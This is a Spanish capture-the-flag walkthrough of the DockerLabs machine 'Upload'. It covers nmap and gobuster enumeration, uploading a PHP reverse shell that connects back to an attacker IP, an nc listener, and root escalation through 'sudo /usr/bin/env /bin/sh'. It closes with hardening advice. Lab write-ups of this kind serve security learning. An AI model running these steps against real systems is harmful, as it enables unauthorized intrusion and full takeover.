> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/upload.md).

# Upload

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux aprovechando una subida de archivos insegura en el servicio web.

El objetivo es conseguir ejecucion remota mediante una webshell/reverse shell en PHP y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sC -p- 172.17.0.2
```

![Nmap](/files/DOJmSTDJpdn0dMRVNdjO)

El escaneo muestra un unico puerto abierto:

| Puerto | Servicio | Version                      |
| ------ | -------- | ---------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.52 (Ubuntu) |

Al acceder al servicio HTTP aparece una pagina con un formulario de subida de archivos.

![Formulario de subida](/files/VIDExpvnjGxnHfyNry6M)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster raiz](/files/AZvead90pgzPPMWeKGXb)

Se identifican varios recursos relevantes:

| Recurso          | Codigo | Comentario                               |
| ---------------- | ------ | ---------------------------------------- |
| `/index.html`    | 200    | Formulario principal                     |
| `/upload.php`    | 200    | Endpoint de subida                       |
| `/uploads/`      | 301    | Directorio donde se guardan los archivos |
| `/server-status` | 403    | Acceso prohibido                         |

***

## Preparacion de la reverse shell

Como la aplicacion permite subir archivos y el servidor interpreta PHP, se prepara una reverse shell en PHP.

Se genera el payload con una IP de atacante `172.17.0.1` y el puerto `4444`.

![Reverse shell PHP](/files/ZIFc9tSO9YyNKHLN7aWp)

Se guarda el payload en un archivo llamado `shell.php`:

```bash
nano shell.php
```

![shell.php](/files/aYOVhHmhrxX15VmS2UPn)

Despues se sube desde el formulario web.

![Archivo subido](/files/oL2d1UB7OqzwDA7W0uRS)

***

## Localizacion del archivo subido

Se enumera el directorio `/uploads` para confirmar el nombre del archivo:

```bash
gobuster dir -u http://172.17.0.2:80/uploads \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php \
  -b 404 -t 60
```

![Gobuster uploads](/files/57Ua58cYhRtrA3VUvnzl)

El archivo `shell.php` queda accesible en:

```
http://172.17.0.2/uploads/shell.php
```

***

## Acceso inicial

Antes de ejecutar el payload, se deja un listener con Netcat:

```bash
nc -lvnp 4444
```

![Listener](/files/c11dH3P3R1fqD6pG1I1l)

Se accede al archivo subido desde el navegador:

![Ejecucion de shell.php](/files/hfuWIt1RwjBEpL30E7da)

El listener recibe la conexion y se obtiene una shell como `www-data`:

![Reverse shell recibida](/files/T0xyIpo6QM57bLgE7W5a)

***

## Tratamiento de la TTY

Para trabajar de forma mas comoda, se estabiliza la shell:

```bash
script -c bash /dev/null
^Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
```

![TTY](/files/2F2myJRXppakPqGDEatU)

***

## Escalada de privilegios

Se revisan los permisos sudo del usuario `www-data`:

```bash
sudo -l
```

![sudo -l](/files/pg98c32Kb3dgi22brwkH)

El resultado indica que `www-data` puede ejecutar `/usr/bin/env` como `root` sin password:

```
(root) NOPASSWD: /usr/bin/env
```

En GTFOBins se comprueba que `env` permite invocar una shell:

![GTFOBins env](/files/pWep5MIPhriYqCLp7t4i)

Se ejecuta:

```bash
sudo /usr/bin/env /bin/sh
```

![Root](/files/pWKV6gRTjrcYtm6PqfUs)

Se obtiene una shell como `root` y se confirma con:

```bash
id
```

***

## Conclusion

El compromiso de la maquina ha sido posible por dos fallos principales:

* Subida de archivos PHP sin validacion suficiente
* Regla `sudo` insegura que permite ejecutar `/usr/bin/env` como `root` sin password

### Puntos clave

| Fase             | Tecnica                     | Resultado                                    |
| ---------------- | --------------------------- | -------------------------------------------- |
| Reconocimiento   | Nmap                        | HTTP expuesto                                |
| Enumeracion web  | Gobuster                    | Descubrimiento de `/uploads` y `/upload.php` |
| Explotacion      | PHP reverse shell           | Shell como `www-data`                        |
| Post-explotacion | Tratamiento de TTY          | Shell interactiva                            |
| Escalada         | `sudo /usr/bin/env /bin/sh` | Shell como `root`                            |

### Recomendaciones

* Validar extension, MIME type y contenido real de los archivos subidos
* Guardar uploads fuera del webroot o impedir la ejecucion de scripts en ese directorio
* Renombrar archivos subidos y aplicar una allowlist estricta
* Revisar reglas `NOPASSWD` en `sudoers`
* Evitar permitir binarios abusables como `env` en configuraciones de `sudo`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/upload.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
